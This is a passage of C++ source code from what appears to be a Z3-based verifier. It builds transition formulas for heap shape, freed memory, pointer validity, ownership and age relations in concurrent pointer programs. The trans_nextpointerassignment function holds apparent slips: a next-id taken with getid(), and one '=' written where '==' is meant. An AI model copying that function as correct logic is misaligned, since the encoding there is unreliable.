ages_lt(ctxt, 2*varc, "ages<", false, old_variables, &vars),
own(ctxt, varc, "own", old_variables, &vars),
freed(ctxt, varc, "freed", old_variables, &vars),
freednext(ctxt, varc, "freednext", old_variables, &vars),
in(ctxt, obsc, "in", old_variables, &vars),
out(ctxt, obsc, "out", old_variables, &vars),
inseen(ctxt, obsc, "seen", old_variables, &vars),
inv_eq(ctxt, varc, "inv=", old_variables, &vars),
inv_next(ctxt, varc, "inv+", old_variables, &vars),
inv_reach(ctxt, varc, "inv*", old_variables, &vars),
sin_eq(ctxt, varc, "sin=", old_variables, &vars),
sin_next(ctxt, varc, "sin+", old_variables, &vars),
sin_reach(ctxt, varc, "sin*", old_variables, &vars),
sinout(ctxt.bool_const("sinout")),
Xpc(ctxt, loc, "Xpc", new_variables),
Xos(ctxt, autc, "Xos", new_variables),
Xshape_eq(ctxt, varc, "Xshape=", true, new_variables, &vars),
Xshape_neq(ctxt, varc, "Xshape~", true, new_variables, &vars),
Xshape_next(ctxt, varc, "Xshape+", false, new_variables, &vars),
Xshape_reach(ctxt, varc, "Xshape*", false, new_variables, &vars),
Xages_eq(ctxt, 2*varc, "Xages=", true, new_variables, &vars),
Xages_lt(ctxt, 2*varc, "Xages<", false, new_variables, &vars),
Xown(ctxt, varc, "Xown", new_variables, &vars),
Xfreed(ctxt, varc, "Xfreed", new_variables, &vars),
Xfreednext(ctxt, varc, "Xfreednext", new_variables, &vars),
Xin(ctxt, obsc, "Xin", new_variables, &vars),
Xout(ctxt, obsc, "Xout", new_variables, &vars),
Xinseen(ctxt, obsc, "Xseen", new_variables, &vars),
Xinv_eq(ctxt, varc, "Xinv=", new_variables, &vars),
Xinv_next(ctxt, varc, "Xinv+", new_variables, &vars),
Xinv_reach(ctxt, varc, "Xinv*", new_variables, &vars),
Xsin_eq(ctxt, varc, "Xsin=", new_variables, &vars),
Xsin_next(ctxt, varc, "Xsin+", new_variables, &vars),
Xsin_reach(ctxt, varc, "Xsin*", new_variables, &vars),
Xsinout(ctxt.bool_const("Xsinout")),
XPC(),
XOS(),
transition(ctxt, Z3_mk_false(ctxt))
{
sinoutid = old_variables.size();
old_variables.push_back(sinout);
Xsinoutid = new_variables.size();
new_variables.push_back(Xsinout);
XPC.reserve(loc+1);
for(int i=0; i<loc+1; i++){
expr f(ctxt, Z3_mk_true(ctxt));
if(i < loc){
f = Xpc(i);
}
for(int j=0; j<loc; j++){
if(i == j) continue;
f = f && !Xpc(j);
}
XPC.push_back(f);
}
XOS.reserve(autc);
for(int i=0; i<autc; i++){
expr f = Xos(i);
for(int j=0; j<autc; j++){
if(i == j) continue;
f = f && !Xos(j);
}
XOS.push_back(f);
}
}
int View::count_variables(){
return old_variables.size();
}
std::vector<expr> &View::get_old_variables(){
return old_variables;
}
std::vector<expr> &View::get_new_variables(){
return new_variables;
}
expr &View::get_transition(){
return transition;
}
void View::build_transition(){
expr nopc(ctxt, Z3_mk_true(ctxt));
expr yespc(ctxt, Z3_mk_false(ctxt));
for(int i=0; i<loc; i++){
nopc = nopc && !pc(i);
yespc = yespc || pc(i);
}
transition = implies(nopc, trans_functioncall());
transition = transition && implies(yespc, nochange_seen());
for(auto next : program->get_code()){
std::cout << "starting ";
next->printline();
expr formula = expr(ctxt, Z3_mk_true(ctxt));
switch(next->get_subtype()){
case MALLOC:
formula = trans_malloc((Malloc*)next);
break;
case FREE:
formula = trans_free((Free*)next);
break;
case AGEINCREMENT:
break;
case NEXTINCREMENT:
break;
case POINTERASSIGNMENT:
formula = trans_pointerassignment((PointerAssignment*)next);
break;
case NEXTPOINTERASSIGNMENT:
formula = trans_nextpointerassignment((NextPointerAssignment*)next);
break;
case POINTERNEXTASSIGNMENT:
formula = trans_pointernextassignment((PointerNextAssignment*)next);
break;
case AGEASSIGNMENT:
break;
case INPUTASSIGNMENT:
formula = trans_inputassignment((InputAssignment*)next);
break;
case OUTPUTASSIGNMENT:
formula = trans_outputassignment((OutputAssignment*)next);
break;
case RETURN:
formula = trans_return((Return*)next);
break;
case POINTERCOMPARISON:
formula = trans_pointercomparison((PointerComparison*)next);
break;
case AGECOMPARISON:
break;
case CANDS:
formula = trans_cas((CAS*)next);
break;
}
std::cout << "finished ";
next->printline();
// implication
transition = transition && implies(pc(next->getpc()), formula);
}
}
expr View::pcincrement(expr &f, Statement *command){
Expression *next = command->getnext();
if(next != NULL){
int nextpc = next->getpc();
f = f && XPC[nextpc];
}else{
f = f && XPC[loc];
}
return f;
}
expr View::pcincrement(expr &f, Condition *command, expr cond){
Expression *next_success = command->getnext(true);
Expression *next_fail = command->getnext(false);
expr branch_success(ctxt, Z3_mk_true(ctxt));
expr branch_fail(ctxt, Z3_mk_true(ctxt));
if(next_success != NULL){
branch_success = XPC[next_success->getpc()];
}else{
branch_success = XPC[loc];
}
if(next_fail != NULL){
branch_fail = XPC[next_fail->getpc()];
}else{
branch_fail = XPC[loc];
}
f = f && implies(cond, branch_success) && implies(!cond, branch_fail);
return f;
}
expr View::osupdate(expr &f, LinearisationEvent *event){
if(event == NULL) return nochange_os(f);
LinearisationType type = event->gettype();
Variable *var = vardown(event->getvar());
Variable *cmp1 = vardown(event->getcmp1());
Variable *cmp2 = vardown(event->getcmp2());
expr guard(ctxt, Z3_mk_true(ctxt));
if(type == IN_PCMP || type == OUT_PCMP){
int cmp1id = cmp1->getid();
int cmp2id = cmp2->getid();
guard = shape_eq(cmp1id, cmp2id);
}else if(type == IN_PACMP || type == OUT_PACMP){
int cmp1id = cmp1->getid();
int cmp2id = cmp2->getid();
guard = shape_eq(cmp1id, cmp2id) && ages_eq(cmp1id, cmp2id);
}
for(int source=0; source<autc; source++){
if(var == NULL){
int target = observer->transition(source, event, NULL);
f = f && implies(os(source) && guard, XOS[target]);
f = f && implies(os(source) && !guard, XOS[source]);
}else{
int varid = var->getid();
expr notwatched(ctxt, Z3_mk_true(ctxt));
for(const auto z : obsvars){
int target = observer->transition(source, event, varup(z));
int zid = z->getid();
f = f && implies(os(source) && guard && shape_eq(varid, zid), XOS[target]);
notwatched = notwatched && !shape_eq(varid, zid);
}
f = f && implies(os(source) && (!guard || notwatched), XOS[source]);
}
}
return f;
}
expr View::nochange_sinout(expr &f){
return f && (Xsinout == sinout);
}
expr View::nochange_freed(expr &f, std::vector<Variable*> &v, Variable *except){
for(const auto &z : v){
if(z == except) continue;
int zid = z->getid();
f = f && (Xfreed(zid) == freed(zid)) && (Xfreednext(zid) == freednext(zid));
}
return f;
}
expr View::nochange_os(expr &f, int except){
for(int i=0; i<autc; i++){
if(i == except) continue;
f = f && (Xos(i) == os(i));
}
return f;
}
expr View::nochange_observed_in(expr &f, std::vector<Variable*> &v){
for(const auto &z : v){
int zid = z->getid();
f = f && (Xin(zid) == in(zid));
}
return f;
}
expr View::nochange_observed_out(expr &f, std::vector<Variable*> &v){
for(const auto &z : v){
int zid = z->getid();
f = f && (Xout(zid) == out(zid));
}
return f;
}
expr View::nochange_shape(expr &f, std::vector<Variable*> &v, Variable *except){
for(const auto &z1 : v){
if(z1 == except) continue;
int z1id = z1->getid();
for(const auto &z2 : v){
if(z2 == except) continue;
int z2id = z2->getid();
f = f && (Xshape_eq(z1id, z2id) == shape_eq(z1id, z2id)) && (Xshape_neq(z1id, z2id) == shape_neq(z1id, z2id)) && (Xshape_next(z1id, z2id) == shape_next(z1id, z2id)) && (Xshape_reach(z1id, z2id) == shape_reach(z1id, z2id));
}
}
return f;
}
expr View::nochange_inv(expr &f, std::vector<Variable*> &v, Variable *except){
for(const auto &z : v){
if(z == except) continue;
int zid = z->getid();
f = f && (Xinv_eq(zid) == inv_eq(zid)) && (Xinv_next(zid) == inv_next(zid)) && (Xinv_reach(zid) == inv_reach(zid));
}
return f;
}
expr View::nochange_sin(expr &f, std::vector<Variable*> &v, Variable *except){
for(const auto &z : v){
if(z == except) continue;
int zid = z->getid();
f = f && (Xsin_eq(zid) == sin_eq(zid)) && (Xsin_next(zid) == sin_next(zid)) && (Xsin_reach(zid) == sin_reach(zid));
}
return f;
}
expr View::nochange_ages(expr &f, std::vector<Variable*> &v, Variable *except){
for(const auto &z1 : v){
if(z1 == except) continue;
int z1id = z1->getid();
int z1nextid = z1->getnextid();
for(const auto &z2 : v){
if(z2 == except) continue;
int z2id = z2->getid();
int z2nextid = z2->getnextid();
f = f && (Xages_eq(z1id, z2id) == ages_eq(z1id, z2id)) && (Xages_eq(z1nextid, z2id) == ages_eq(z1nextid, z2id)) && (Xages_eq(z1id, z2nextid) == ages_eq(z1id, z2nextid)) && (Xages_eq(z1nextid, z2nextid) == ages_eq(z1nextid, z2nextid)) &&
(Xages_lt(z1id, z2id) == ages_lt(z1id, z2id)) && (Xages_lt(z1nextid, z2id) == ages_lt(z1nextid, z2id)) && (Xages_lt(z1id, z2nextid) == ages_lt(z1id, z2nextid)) && (Xages_lt(z1nextid, z2nextid) == ages_lt(z1nextid, z2nextid));
}
}
return f;
}
void View::shapeconsistency(Frame &frame){
for(const auto x : vars){
int xid = x->getid();
Clause self1(ctxt, old_variables.size());
self1.set_variable(shape_eq(xid, xid), shape_eq.getid(xid, xid), CLAUSE_POSITIVE);
Clause self2(ctxt, old_variables.size());
self2.set_variable(shape_neq(xid, xid), shape_neq.getid(xid, xid), CLAUSE_NEGATIVE);
frame.add_clause(self1);
frame.add_clause(self2);
for(const auto y : vars){
int yid = y->getid();
Clause min1(ctxt, old_variables.size());
min1.set_variable(shape_eq(xid, yid), shape_eq.getid(xid, yid), CLAUSE_POSITIVE);
min1.set_variable(shape_next(xid, yid), shape_next.getid(xid, yid), CLAUSE_POSITIVE);
min1.set_variable(shape_next(yid, xid), shape_next.getid(yid, xid), CLAUSE_POSITIVE);
min1.set_variable(shape_reach(xid, yid), shape_reach.getid(xid, yid), CLAUSE_POSITIVE);
min1.set_variable(shape_reach(yid, xid), shape_reach.getid(yid, xid), CLAUSE_POSITIVE);
min1.set_variable(shape_neq(xid, yid), shape_neq.getid(xid, yid), CLAUSE_POSITIVE);
Clause min2(ctxt, old_variables.size());
min2.set_variable(shape_neq(xid, yid), shape_neq.getid(xid, yid), CLAUSE_NEGATIVE);
min2.set_variable(shape_eq(xid, yid), shape_eq.getid(xid, yid), CLAUSE_NEGATIVE);
Clause min3(ctxt, old_variables.size());
min3.set_variable(shape_neq(xid, yid), shape_neq.getid(xid, yid), CLAUSE_NEGATIVE);
min3.set_variable(shape_next(xid, yid), shape_next.getid(xid, yid), CLAUSE_NEGATIVE);
Clause min5(ctxt, old_variables.size());
min5.set_variable(shape_neq(xid, yid), shape_neq.getid(xid, yid), CLAUSE_NEGATIVE);
min5.set_variable(shape_reach(xid, yid), shape_reach.getid(xid, yid), CLAUSE_NEGATIVE);
frame.add_clause(min1, false);
frame.add_clause(min2, false);
frame.add_clause(min3, false);
frame.add_clause(min5, false);
for(const auto z : vars){
int zid = z->getid();
Clause uniquenext(ctxt, old_variables.size());
uniquenext.set_variable(shape_next(xid, yid), shape_next.getid(xid, yid), CLAUSE_NEGATIVE);
uniquenext.set_variable(shape_next(xid, zid), shape_next.getid(xid, zid), CLAUSE_NEGATIVE);
uniquenext.set_variable(shape_eq(yid, zid), shape_eq.getid(yid, zid), CLAUSE_POSITIVE);
frame.add_clause(uniquenext, false);
if(x != y && x != z){
Clause eqeq1(ctxt, old_variables.size());
eqeq1.set_variable(shape_eq(xid, yid), shape_eq.getid(xid, yid), CLAUSE_NEGATIVE);
eqeq1.set_variable(shape_eq(yid, zid), shape_eq.getid(yid, zid), CLAUSE_POSITIVE);
eqeq1.set_variable(shape_eq(xid, zid), shape_eq.getid(xid, zid), CLAUSE_NEGATIVE);
frame.add_clause(eqeq1, false);
}
if(x != y){
Clause eqneq1(ctxt, old_variables.size());
eqneq1.set_variable(shape_eq(xid, yid), shape_eq.getid(xid, yid), CLAUSE_NEGATIVE);
eqneq1.set_variable(shape_neq(yid, zid), shape_neq.getid(yid, zid), CLAUSE_POSITIVE);
eqneq1.set_variable(shape_neq(xid, zid), shape_neq.getid(xid, zid), CLAUSE_NEGATIVE);
Clause eqnext1(ctxt, old_variables.size());
eqnext1.set_variable(shape_eq(xid, yid), shape_eq.getid(xid, yid), CLAUSE_NEGATIVE);
eqnext1.set_variable(shape_next(yid, zid), shape_next.getid(yid, zid), CLAUSE_POSITIVE);
eqnext1.set_variable(shape_next(xid, zid), shape_next.getid(xid, zid), CLAUSE_NEGATIVE);
Clause eqnext2(ctxt, old_variables.size());
eqnext2.set_variable(shape_eq(xid, yid), shape_eq.getid(xid, yid), CLAUSE_NEGATIVE);
eqnext2.set_variable(shape_next(zid, xid), shape_next.getid(zid, xid), CLAUSE_NEGATIVE);
eqnext2.set_variable(shape_next(zid, yid), shape_next.getid(zid, yid), CLAUSE_POSITIVE);
Clause eqreach1(ctxt, old_variables.size());
eqreach1.set_variable(shape_eq(xid, yid), shape_eq.getid(xid, yid), CLAUSE_NEGATIVE);
eqreach1.set_variable(shape_reach(yid, zid), shape_reach.getid(yid, zid), CLAUSE_POSITIVE);
eqreach1.set_variable(shape_reach(xid, zid), shape_reach.getid(xid, zid), CLAUSE_NEGATIVE);
Clause eqreach2(ctxt, old_variables.size());
eqreach2.set_variable(shape_eq(xid, yid), shape_eq.getid(xid, yid), CLAUSE_NEGATIVE);
eqreach2.set_variable(shape_reach(zid, xid), shape_reach.getid(zid, xid), CLAUSE_NEGATIVE);
eqreach2.set_variable(shape_reach(zid, yid), shape_reach.getid(zid, yid), CLAUSE_POSITIVE);
frame.add_clause(eqneq1, false);
frame.add_clause(eqnext1, false);
frame.add_clause(eqnext2, false);
frame.add_clause(eqreach1, false);
frame.add_clause(eqreach2, false);
}
}
}
}
}
void View::memconsistency(Frame &frame){
for(const auto x : vars){
int xid = x->getid();
if(x->isobserver()){
Clause gowner(ctxt, old_variables.size());
gowner.set_variable(own(xid), own.getid(xid), CLAUSE_NEGATIVE);
frame.add_clause(gowner);
}else if(x->isglobal()){
Clause gowner(ctxt, old_variables.size());
gowner.set_variable(own(xid), own.getid(xid), CLAUSE_NEGATIVE);
gowner.set_variable(inv_eq(xid), inv_eq.getid(xid), CLAUSE_POSITIVE);
frame.add_clause(gowner);
}
for(const auto y : vars){
if(y == x) continue;
int yid = y->getid();
Clause fr(ctxt, old_variables.size());
fr.set_variable(shape_eq(xid, yid), shape_eq.getid(xid, yid), CLAUSE_NEGATIVE);
fr.set_variable(freed(xid), freed.getid(xid), CLAUSE_POSITIVE);
fr.set_variable(freed(yid), freed.getid(yid), CLAUSE_NEGATIVE);
frame.add_clause(fr);
}
}
}
expr View::trans_functioncall(){
expr result = !Xsinout;
// sinout2 handled in inherited function
// shape relations of local variables are removed
for(const auto x : activelocalscope){
int xid = x->getid();
result = result && Xshape_eq(xid, xid) && !Xshape_neq(xid, xid) && !Xshape_next(xid, xid) && !Xshape_reach(xid, xid);
for(const auto y : vars){
if(y == x) continue;
int yid = y->getid();
result = result && !Xshape_eq(xid, yid) && Xshape_neq(xid, yid) && !Xshape_next(xid, yid) && !Xshape_next(yid, xid) && !Xshape_reach(xid, yid) && !Xshape_reach(yid, xid);
}
}
result = nochange_shape(result, activenotlocalscope);
// local variables are neither free nor owned, but invalid
for(const auto x : activelocalscope){
int xid = x->getid();
result = result && !Xfreed(xid) && !Xfreednext(xid) && Xinv_eq(xid) && Xinv_next(xid) && Xinv_reach(xid) && !Xsin_eq(xid) && !Xsin_next(xid) && !Xsin_reach(xid) && nuke_ownership(x);
}
result = nochange_freed(result, activenotlocalscope);
result = nochange_inv(result, activenotlocalscope);
result = nochange_sin(result, activenotlocalscope);
result = nochange_own(result, activenotlocalscope);
// forget about age relations of locals (except the obvious), copy the others
for(const auto x : activelocalscope){
int xid = x->getid();
int xnextid = x->getnextid();
result = result && Xages_eq(xid, xid) && !Xages_lt(xid, xid) && Xages_eq(xnextid, xnextid) && !Xages_lt(xnextid, xnextid);
}
result = nochange_ages(result, activenotlocalscope);
// nobody is output
for(const auto x : obsvars){
int xid = x->getid();
result = result && !Xout(xid);
}
// out2 handled in inherited function
// set input and pc
expr alternatives(ctxt, Z3_mk_false(ctxt));
for(const auto f : program->get_functions()){
expr thisfunc = XPC[f->get_entrypoint()->getpc()];
if(f->has_input()){
expr inputs(ctxt, Z3_mk_false(ctxt));
// input is observed
for(const auto chosen : obsvars){
int chid = chosen->getid();
expr thisinput = Xin(chid);
for(const auto others : obsvars){
if(others == chosen) continue;
thisinput = thisinput && !Xin(others->getid());
}
inputs = inputs || (thisinput && !input_seen(chosen) && see_input(chosen) && nochange_seen(chosen));
}
// input is not observed
expr noinput = nochange_seen();
for(const auto chosen : obsvars){
int chid = chosen->getid();
noinput = noinput && !Xin(chid);
}
inputs = inputs || noinput;
thisfunc = thisfunc && inputs;
}else{
thisfunc = thisfunc && nochange_seen();
for(const auto z : obsvars){
thisfunc = thisfunc && !Xin(z->getid());
}
}
alternatives = alternatives || thisfunc;
}
result = result && alternatives;
// in2 and pc2 handled in inherited function
result = result && nochange_os(result);
return result;
}
expr View::trans_malloc(Malloc *command){
Variable *x = vardown(command->getvar());
int xid = x->getid();
// 1) getting a fresh memory cell
expr result_fresh = Xshape_eq(xid, xid) && !Xshape_neq(xid, xid) && !Xshape_next(xid, xid) && !Xshape_reach(xid, xid);
for(const auto &z : vars){
if(z == x) continue;
int zid = z->getid();
result_fresh = result_fresh && Xshape_neq(xid, zid) && !Xshape_eq(xid, zid) && !Xshape_next(xid, zid) && !Xshape_next(zid, xid) && !Xshape_reach(xid, zid) && !Xshape_reach(zid, xid);
}
result_fresh = result_fresh && !Xfreed(xid);
// Xfreednext(xid)? We don't know.
result_fresh = nochange_freed(result_fresh, vars, x);
expr result = result_fresh;
// 2) getting a memory cell with a dangling pointer
for(const auto &y : vars){
int yid = y->getid();
// guard, so that this is not even considered if y is not freed
expr result_y = freed(yid);
// copy everything from y to x
result_y = result_y && (Xshape_eq(xid, xid) == shape_eq(yid, yid)) && (Xshape_neq(xid, xid) == shape_neq(yid, yid)) && (Xshape_next(xid, xid) == shape_next(yid, yid)) && (Xshape_reach(xid, xid) == shape_reach(yid, yid));
for(const auto &z : vars){
if(z == x) continue;
int zid = z->getid();
result_y = result_y && (Xshape_eq(xid, zid) == shape_eq(yid, zid)) && (Xshape_neq(xid, zid) == shape_neq(yid, zid)) && (Xshape_next(xid, zid) == shape_next(yid, zid)) && (Xshape_next(zid, xid) == shape_next(zid, yid)) && (Xshape_reach(xid, zid) == shape_reach(yid, zid)) && (Xshape_reach(zid, xid) == shape_reach(zid, yid));
}
result_y = result_y && !Xfreed(xid);
// Xfreednext(xid)? We don't know.
for(const auto &z : vars){
if(z == x) continue;
int zid = z->getid();
result_y = result_y && (Xfreed(zid) == (freed(zid) && !shape_eq(yid, zid)));
// Xfreednext(zid)? We don't know (sure, ONE reason was removed)
}
result = result || result_y;
}
// 3) some things are the same in both 1) and 2)
result = result && !Xinv_eq(xid) && Xinv_next(xid) && Xinv_reach(xid);
result = result && !Xsin_eq(xid) && Xsin_next(xid) && Xsin_reach(xid);
if(x->isglobal()){
result = result && nuke_ownership(x);
}else{
result = result && claim_ownership(x);
}
result = nochange_shape(result, vars, x);
result = nochange_inv(result, vars, x);
result = nochange_sin(result, vars, x);
result = nochange_own(result, vars, x);
result = nochange_ages(result, vars);
result = nochange_observed_in(result, obsvars);
result = nochange_observed_out(result, obsvars);
result = nochange_sinout(result);
result = pcincrement(result, command);
result = osupdate(result, command->get_event());
return result;
}
expr View::trans_free(Free *command){
Variable *x = vardown(command->getvar());
int xid = x->getid();
expr result(ctxt, Z3_mk_true(ctxt));
// now free
for(const auto z : vars){
int zid = z->getid();
result = result && (Xfreed(zid) == (freed(zid) || shape_eq(xid, zid)));
result = result && (Xfreednext(zid) == (freednext(zid) || shape_next(zid, xid) || shape_reach(zid, xid)));
}
// everything that points there is invalid...
for(const auto z : vars){
int zid = z->getid();
result = result && (Xinv_eq(zid) == (inv_eq(zid) || shape_eq(zid, xid)));
result = result && (Xinv_next(zid) == (inv_next(zid) || shape_next(zid, xid)));
result = result && (Xinv_reach(zid) == (inv_reach(zid) || shape_reach(zid, xid)));
}
// ...but not strongly invalid (if it was not already)
result = nochange_sin(result, vars);
// nobody owns that
for(const auto z : vars){
int zid = z->getid();
result = result && implies(shape_eq(xid, zid), nuke_ownership(z)) && implies(!shape_eq(xid, zid), copy_ownership(z, z));
}
result = nochange_shape(result, vars);
result = nochange_ages(result, vars);
result = nochange_observed_in(result, obsvars);
result = nochange_observed_out(result, obsvars);
result = nochange_sinout(result);
result = pcincrement(result, command);
result = osupdate(result, command->get_event());
return result;
}
expr View::trans_pointerassignment(PointerAssignment *command){
Variable *x = vardown(command->getlhs());
Variable *y = vardown(command->getrhs());
int xid = x->getid();
int xnextid = x->getnextid();
int yid = y->getid();
int ynextid = y->getnextid();
expr result(ctxt, Z3_mk_true(ctxt));
// all freed and freednext information of y is copied to x, all others stay as they were
result = result && (Xfreed(xid) == freed(yid)) && (Xfreednext(xid) == freednext(yid));
result = nochange_freed(result, vars, x);
// all inv and sin information is copied to x, all others stay as they were
result = result && (Xinv_eq(xid) == inv_eq(yid)) && (Xinv_next(xid) == inv_next(yid)) && (Xinv_reach(xid) == inv_reach(yid));
result = nochange_inv(result, vars, x);
result = result && (Xsin_eq(xid) == sin_eq(yid)) && (Xsin_next(xid) == sin_next(yid)) && (Xsin_reach(xid) == sin_reach(yid));
result = nochange_sin(result, vars, x);
// ownership
if(x->isglobal()){
// if y is valid, we just published its memory cell
for(const auto z : vars){
int zid = z->getid();
result = result && implies(!inv_eq(yid) && shape_eq(yid, zid), nuke_ownership(z)) &&
implies(inv_eq(yid) || !shape_eq(yid, zid), copy_ownership(z, z));
}
}else{
//ownership of y is copied to x, all others stay as they were
result = result && copy_ownership(y, x);
result = nochange_own(result, vars, x);
}
// all shape information of y is copied to x, all others stay as they were
result = result && (Xshape_eq(xid, xid) == shape_eq(yid, yid)) && (Xshape_neq(xid, xid) == shape_neq(yid, yid)) && (Xshape_next(xid, xid) == shape_next(yid, yid)) && (Xshape_reach(xid, xid) == shape_reach(yid, yid));
for(const auto &z : vars){
if(z == x) continue;
int zid = z->getid();
result = result && (Xshape_eq(xid, zid) == shape_eq(yid, zid)) && (Xshape_neq(xid, zid) == shape_neq(yid, zid)) && (Xshape_next(xid, zid) == shape_next(yid, zid)) && (Xshape_next(zid, xid) == shape_next(zid, yid)) && (Xshape_reach(xid, zid) == shape_reach(yid, zid)) && (Xshape_reach(zid, xid) == shape_reach(zid, yid));
}
result = nochange_shape(result, vars, x);
// all age information of y is copied to x, all others stay as they were
result = result && (Xages_eq(xid, xid) == ages_eq(yid, yid)) && (Xages_eq(xnextid, xnextid) == ages_eq(ynextid, ynextid)) && (Xages_eq(xid, xnextid) == ages_eq(yid, ynextid)) &&
(Xages_lt(xid, xid) == ages_lt(yid, yid)) && (Xages_lt(xnextid, xnextid) == ages_lt(ynextid, ynextid)) && (Xages_lt(xid, xnextid) == ages_lt(yid, ynextid)) && (Xages_lt(xnextid, xid) == ages_lt(ynextid, yid));
for(const auto &z : vars){
if(z == x) continue;
int zid = z->getid();
int znextid = z->getnextid();
result = result && (Xages_eq(xid, zid) == ages_eq(yid, zid)) && (Xages_eq(xid, znextid) == ages_eq(yid, znextid)) && (Xages_eq(xnextid, zid) == ages_eq(ynextid, zid)) && (Xages_eq(xnextid, znextid) == ages_eq(ynextid,znextid)) &&
(Xages_lt(xid, zid) == ages_lt(yid, zid)) && (Xages_lt(zid, xid) == ages_lt(zid, yid)) && (Xages_lt(xid, znextid) == ages_lt(yid, znextid)) && (Xages_lt(znextid, xid) == ages_lt(znextid, yid)) && (Xages_lt(xnextid, zid) == ages_lt(ynextid, zid)) && (Xages_lt(zid, xnextid) == ages_lt(zid, ynextid)) && (Xages_lt(xnextid, znextid) == ages_lt(ynextid, znextid)) && (Xages_lt(znextid, xnextid) == ages_lt(znextid, ynextid));
}
result = nochange_ages(result, vars, x);
result = pcincrement(result, command);
result = osupdate(result, command->get_event());
result = nochange_sinout(result);
result = nochange_observed_in(result, obsvars);
result = nochange_observed_out(result, obsvars);
return result;
}
expr View::trans_nextpointerassignment(NextPointerAssignment *command){
Variable *x = vardown(command->getlhs());
Variable *y = vardown(command->getrhs());
int xid = x->getid();
int xnextid = x->getnextid();
int yid = y->getid();
// age relations of y are transferred to x.next, all others stay as they were
expr result = (Xages_eq(xnextid, xnextid) == ages_eq(yid, yid)) && (Xages_lt(xnextid, xnextid) == ages_lt(yid, yid));
for(const auto z : vars){
int zid = z->getid();
int znextid = z->getid();
result = result && (Xages_eq(xnextid, zid) == ages_eq(yid, zid)) && (Xages_lt(xnextid, zid) == ages_lt(yid, zid)) && (Xages_lt(zid, xnextid) = ages_lt(yid, xnextid));
if(z != x){
result = result && (Xages_eq(xnextid, znextid) == ages_eq(yid, znextid)) && (Xages_lt(xnextid, znextid) == ages_lt(yid, znextid)) && (Xages_lt(znextid, xnextid) == ages_lt(znextid, yid));
}
result = result && (Xages_eq(xid, zid) == ages_eq(xid, zid)) && (Xages_lt(xid, zid) == ages_lt(xid, zid)) && (Xages_lt(zid, xid) == ages_lt(zid, xid)) &&
(Xages_eq(xid, znextid) == ages_eq(xid, znextid)) && (Xages_lt(xid, znextid) == ages_lt(xid, znextid)) && (Xages_lt(znextid, xid) == ages_lt(znextid, xid));
}
result = nochange_ages(result, vars, x);
// who can reach an invalid pointer now
for(const auto z : vars){
int zid = z->getid();
result = result && (Xinv_eq(zid) == inv_eq(zid)) && (Xsin_eq(zid) == sin_eq(zid));
result = result && implies(shape_eq(zid, xid), (Xinv_next(zid) == inv_eq(yid)) && (Xsin_next(zid) == sin_eq(yid)));
result = result && implies(!shape_eq(zid, xid), (Xinv_next(zid) == inv_next(zid)) && (Xsin_next(zid) == sin_next(zid)));
result = result && implies(shape_eq(zid, xid), (Xinv_reach(zid) == (inv_next(yid) || inv_reach(yid))) && (Xsin_reach(xid) == (sin_next(yid) || sin_reach(yid))));
result = result && implies(!shape_eq(zid, xid), (Xinv_reach(zid) == (inv_reach(zid) || ((shape_next(zid, xid) || shape_reach(zid, xid)) && (inv_eq(yid) || inv_next(yid) || inv_reach(yid))))) &&
(Xsin_reach(zid) == (sin_reach(zid) || ((shape_next(zid, xid) || shape_reach(zid, xid)) && (sin_eq(yid) || sin_next(yid) || sin_reach(yid))))));
}
// maybe we can reach a freed cell now
for(const auto z : vars){
int zid = z->getid();
result = result && (Xfreed(zid) == freed(zid));
result = result && implies(shape_eq(zid, xid), Xfreednext(zid) == (freed(yid) || freednext(yid)));
result = result && implies(!shape_eq(zid, xid), Xfreednext(zid) == (freednext(zid) || ((shape_next(zid, xid) || shape_reach(zid, xid)) && (freed(yid) || freednext(yid)))));
}
// shape tohuwabohu
for(const auto z : vars){
int zid = z->getid();
for(const auto w : vars){
int wid = w->getid();
result = result && (Xshape_eq(zid, wid) == shape_eq(zid, wid));
result = result && (Xshape_next(zid, wid) == ((shape_eq(zid, xid) && shape_eq(wid, yid)) || (!shape_eq(zid, xid) && shape_next(zid, wid))));
expr newreach = (shape_eq(zid, xid) && (shape_next(yid, wid) || shape_reach(yid, wid)) && ((!shape_next(yid, xid) && !shape_reach(yid, xid)) || shape_eq(wid, xid) || shape_next(wid, xid) || shape_reach(wid, xid))) ||
(!shape_eq(zid, xid) && (shape_next(zid, xid) || shape_reach(zid, xid)) && (shape_eq(yid, wid) || shape_next(yid, wid) || (shape_reach(yid, wid) && ((!shape_next(yid, xid) && !shape_reach(yid, xid)) || shape_eq(wid, xid) || shape_next(wid, xid) || shape_reach(wid, xid)))));
expr xreach = (shape_eq(zid, xid) || shape_next(zid, xid) || shape_reach(zid, xid)) && (shape_next(xid, wid) || shape_reach(xid, wid));
expr reflection = shape_eq(zid, xid) && shape_eq(wid, yid) && (shape_next(yid, xid) || shape_reach(yid, xid));
expr stillreach = shape_reach(zid, wid) && !xreach && !(shape_eq(xid, wid) && shape_next(zid, xid) && shape_reach(xid, xid));
result = result && (Xshape_reach(zid, wid) == (newreach || reflection || stillreach));
result = result && (Xshape_neq(zid, wid) == !(Xshape_eq(zid, wid) || Xshape_next(zid, wid) || Xshape_next(wid, zid) || Xshape_reach(zid, wid) || Xshape_reach(wid, zid)));
}
}
result = pcincrement(result, command);
result = osupdate(result, command->get_event());
result = nochange_own(result, vars);
result = nochange_observed_in(result, obsvars);
result = nochange_observed_out(result, obsvars);
result = nochange_sinout(result);
return result;
}
expr View::trans_pointernextassignment(PointerNextAssignment *command){
Variable *x = vardown(command->getlhs());
Variable *y = vardown(command->getrhs());
int xid = x->getid();
int yid = y->getid();
int xnextid = x->getnextid();
int ynextid = y->getnextid();
expr result = (Xinv_eq(xid) == inv_next(yid));
result = result && (inv_reach(yid) == (Xinv_next(xid) || Xinv_reach(xid)));
result = nochange_inv(result, vars, x);
result = result && (Xsin_eq(xid) == (inv_eq(yid) || sin_eq(yid) || inv_next(yid)));
result = result && (Xsin_next(xid) == (inv_next(yid) || sin_next(yid))) && (Xsin_reach(xid) == (inv_reach(yid) || sin_reach(yid)));
result = nochange_sin(result, vars, x);
// copy ages from y.next to x
result = result && (Xages_eq(xid, xid) == ages_eq(ynextid, ynextid)) && (Xages_lt(xid, xid) == ages_lt(ynextid, ynextid)) && Xages_eq(xnextid, xnextid) && !Xages_lt(xnextid, xnextid);
for(const auto z : vars){
if(z == x) continue;
int zid = z->getid();
int znextid = z->getnextid();
result = result && (Xages_eq(xid, zid) == ages_eq(ynextid, zid)) && (Xages_lt(xid, zid) == ages_lt(ynextid, zid)) && (Xages_lt(zid, xid) == ages_lt(zid, ynextid)) &&
